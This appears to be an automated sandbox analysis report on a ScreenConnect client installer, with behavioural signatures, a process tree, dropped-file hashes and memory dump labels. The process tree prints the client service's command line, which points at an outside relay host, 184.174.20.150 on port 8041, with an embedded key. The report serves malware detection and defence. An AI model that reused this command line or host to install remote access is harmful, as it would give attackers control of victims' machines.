Analysis

  • max time kernel
    148s
  • max time network
    142s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    09/09/2026, 12:19

General

  • Target
    ScreenConnect.ClientSetup.msi
  • Size 13.1MB
  • Sample260909-pg778aca32
  • SHA256 53ded9999508b3000ffaf1af6c6bc46f74bb6afe30b91027cbb8a14f65793fdb
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • Signed with revoked ConnectWise certificate 2 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 22 IoCs
  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Drops file in System32 directory 2 IoCs
  • Drops file in Program Files directory 19 IoCs
  • Drops file in Windows directory 17 IoCs
  • Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 37 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Windows\system32\msiexec.exe
    msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\ScreenConnect.ClientSetup.msi
    1⤵
    • Enumerates connected drives
    • Event Triggered Execution: Installer Packages
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    PID:3528
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:5532
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 20967DB825D12DBF2E78FE2C2B7740CF C
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:2748
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI450E.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240731765 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:528
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
        PID:4740
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 22E882C70C4A822282894E48199B7111
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:1076
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 78373B704F7068DEE382244850963123 E Global\MSI0000
        2⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:2604
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Checks SCSI registry key(s)
      PID:5092
    • C:\Program Files (x86)\ScreenConnect Client (1da6c5f2da826dee)\ScreenConnect.ClientService.exe
      "C:\Program Files (x86)\ScreenConnect Client (1da6c5f2da826dee)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=184.174.20.150&p=8041&s=5b6ec576-2d63-4443-a8a6-e66fd915e903&k=BgIAAACkAABSU0ExAAgAAAEAAQAhy1P0nDpUhYdGP3wyV7dKZyRInH%2b6zYdqZHCa%2buY788eqonQBe7UwQJUuFmE1KJkgf77FjpUL0gqkSmtPlieTQTfx4dE3ixY4NpPXFMGVDDJQdkSsQvHGd6fxM1vlP0TMm40QEp%2fzk2hihWwqcW8nmbNsZY%2b2jIQWOEEagz2e1us1WkwlHEB114N8Jc4h%2bXKlRD%2bS1HR9iyd638hpGqkCgn2HF3NHoIoG%2buxaTq1n2Zh9owEy%2bPEBZge8i4EoMOWAI74zvLqvLqYc7zxYeRD9KePpDsIL9XwVNZHhzbJ8uAVBr9Ccn3FwH3oX1gl79RHdQ9T5NKclV7TlUcmxmYCq&c=bat&c=&c=&c=&c=&c=&c=&c="
      1⤵
      • Sets service image path in registry
      • Executes dropped EXE
      • Loads dropped DLL
      • Drops file in System32 directory
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:1368
      • C:\Program Files (x86)\ScreenConnect Client (1da6c5f2da826dee)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (1da6c5f2da826dee)\ScreenConnect.WindowsClient.exe" "RunRole" "0b360ae1-4547-408e-91eb-36abae803aa6" "User"
        2⤵
        • Executes dropped EXE
        PID:1512
      • C:\Program Files (x86)\ScreenConnect Client (1da6c5f2da826dee)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (1da6c5f2da826dee)\ScreenConnect.WindowsClient.exe" "RunRole" "115d507c-71d1-4016-ad9d-3c877c7d0a02" "System"
        2⤵
        • Executes dropped EXE
        • Checks processor information in registry
        • Modifies data under HKEY_USERS
        PID:4444

    Network

          MITRE ATT&CK Enterprise v16

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          Downloads

          e59a54f.rbs

          • Path C:\Config.Msi\e59a54f.rbs
          • Size 214KB
          • SHA256 eccbbe2b44d04b1123e220e06e4d3f096bff19f3dd9e4d24ccbac31efad554b9
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.Override.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (1da6c5f2da826dee)\Client.Override.en-US.resources
          • Size 245B
          • SHA256 4aa60e71e2a95cff9837b2dedddfa5a2d6e2e685826d1ff8019b9b3b9a02f4cf
          • MD5 SHA1 SHA512 TLSH

          Client.Override.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (1da6c5f2da826dee)\Client.Override.resources
          • Size 110KB
          • SHA256 d872e6ce8aa1c3452f1c7f3c070858b5116797c4f2319221c20228d2ad3d9bcb
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (1da6c5f2da826dee)\Client.en-US.resources
          • Size 49KB
          • SHA256 b26b7a988aba7f94473468cae82846bb672a422b016ed1907d187a5c3bb0f8a0
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (1da6c5f2da826dee)\Client.resources
          • Size 28KB
          • SHA256 95b299c8c163731707e8134946059a28c668c2b65b48f57eac2847dbe4beb63e
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Client.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (1da6c5f2da826dee)\ScreenConnect.Client.dll
          • Size 192KB
          • SHA256 dd75f431bc27ae5cd60eabf0d705de194c72aa7c6897a7789981df620be5cc41
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (1da6c5f2da826dee)\ScreenConnect.ClientService.dll
          • Size 67KB
          • SHA256 228c0f9be331a5fbce6711f6c72d7660419d7746da604168d6f4ad9a492b00aa
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (1da6c5f2da826dee)\ScreenConnect.ClientService.exe
          • Size 93KB
          • SHA256 8c7e1feb403442d3bc11a1945a9e0b3651a5095ca3acabe3f608da801dc8c2b7
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsAuthenticationPackage.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (1da6c5f2da826dee)\ScreenConnect.WindowsAuthenticationPackage.dll
          • Size 254KB
          • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (1da6c5f2da826dee)\ScreenConnect.WindowsClient.exe
          • Size 595KB
          • SHA256 da7697707b476046197af8d35c5a1df3cebd7153b7b48aab1079a6375bdca74a
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe.config

          • Path C:\Program Files (x86)\ScreenConnect Client (1da6c5f2da826dee)\ScreenConnect.WindowsClient.exe.config
          • Size 266B
          • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
          • MD5 SHA1 SHA512 TLSH

          ScreenConnect.WindowsCredentialProvider.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (1da6c5f2da826dee)\ScreenConnect.WindowsCredentialProvider.dll
          • Size 837KB
          • SHA256 36ad3b4858ee84fd2a73522a9ad25d177f492a65e1cbc6630169dc820dc2b63d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          app.config

          • Path C:\Program Files (x86)\ScreenConnect Client (1da6c5f2da826dee)\app.config
          • Size 960B
          • SHA256 bb676c6b377a4c2386857627f61daab405e2539a745af60ae02b3cb5831c9136
          • MD5 SHA1 SHA512 TLSH

          system.config

          • Path C:\Program Files (x86)\ScreenConnect Client (1da6c5f2da826dee)\system.config
          • Size 936B
          • SHA256 9c925b9c79a0190ac5f491bec93f960849306a67e341b9ff383cc22577e05236
          • MD5 SHA1 SHA512 TLSH

          MSI450E.tmp

          • Path C:\Users\Admin\AppData\Local\Temp\MSI450E.tmp
          • Size 1.0MB
          • SHA256 a5c116a5746888cdd47fae8269e5d5cc1fa51617744c50256619c75e540034e0
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Microsoft.Deployment.WindowsInstaller.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI450E.tmp-\Microsoft.Deployment.WindowsInstaller.dll
          • Size 172KB
          • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Core.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI450E.tmp-\ScreenConnect.Core.dll
          • Size 539KB
          • SHA256 1e9eacd3c680b18f3bfee12a835a49d63fed76056aedb2b2ef312999eb6b4033
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.InstallerActions.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI450E.tmp-\ScreenConnect.InstallerActions.dll
          • Size 11KB
          • SHA256 af7b515d5ea17e6811f7fd4e0fe76b7bbc6c2ff4e58dc005c86fa30d44f184ca
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Windows.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI450E.tmp-\ScreenConnect.Windows.dll
          • Size 1.6MB
          • SHA256 f6e77233f0995581f3171ee92c5cab5b8052d177d333a4999e16e696616739a6
          • MD5 SHA1 SHA512 SSDEEP TLSH

          MSIAB7A.tmp

          • Path C:\Windows\Installer\MSIAB7A.tmp
          • Size 202KB
          • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
          • MD5 SHA1 SHA512 SSDEEP TLSH

          e59a54e.msi

          • Path C:\Windows\Installer\e59a54e.msi
          • Size 13.1MB
          • SHA256 53ded9999508b3000ffaf1af6c6bc46f74bb6afe30b91027cbb8a14f65793fdb
          • MD5 SHA1 SHA512 SSDEEP TLSH

          metadata-2

          • Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
          • Size 26.1MB
          • SHA256 ad617ed69064ed3ab6006103246d566afc36c58104345a5621c345df17e79b81
          • MD5 SHA1 SHA512 SSDEEP TLSH

          {a03f0484-e040-4617-bead-330b4c898edf}_OnDiskSnapshotProp

          • Path \??\Volume{c4eee659-0000-0000-0000-d08302000000}\System Volume Information\SPP\OnlineMetadataCache\{a03f0484-e040-4617-bead-330b4c898edf}_OnDiskSnapshotProp
          • Size 6KB
          • SHA256 4a7dd8b0e59f8a16c3652a0cbb6a727074a5cd5905bc2d91671c7d9dd8a74cb3
          • MD5 SHA1 SHA512 SSDEEP TLSH

          memory/528-30-0x0000000005C50000-0x0000000005DFC000-memory.dmp

          memory/528-18-0x0000000005950000-0x000000000597E000-memory.dmp

          memory/528-22-0x0000000003930000-0x000000000393A000-memory.dmp

          memory/528-26-0x0000000005A10000-0x0000000005A9E000-memory.dmp

          memory/528-31-0x00000000063C0000-0x000000000697A000-memory.dmp

          memory/1368-104-0x0000000004590000-0x00000000045D1000-memory.dmp

          memory/1368-75-0x0000000004230000-0x0000000004248000-memory.dmp

          memory/1368-101-0x00000000047E0000-0x0000000004816000-memory.dmp

          memory/1368-106-0x0000000004AB0000-0x0000000004B85000-memory.dmp

          memory/1368-97-0x0000000004790000-0x00000000047E0000-memory.dmp

          memory/1368-102-0x00000000048C0000-0x0000000004952000-memory.dmp

          memory/1512-119-0x000000001BBB0000-0x000000001BD5C000-memory.dmp

          memory/1512-118-0x000000001B970000-0x000000001B9FE000-memory.dmp

          memory/1512-120-0x000000001BD60000-0x000000001BEE8000-memory.dmp

          memory/1512-122-0x0000000002B30000-0x0000000002B48000-memory.dmp

          memory/1512-123-0x0000000002B60000-0x0000000002BA1000-memory.dmp

          memory/1512-121-0x00000000010E0000-0x00000000010F8000-memory.dmp

          memory/1512-116-0x00000000008E0000-0x0000000000978000-memory.dmp

          memory/1512-117-0x0000000002AB0000-0x0000000002AE6000-memory.dmp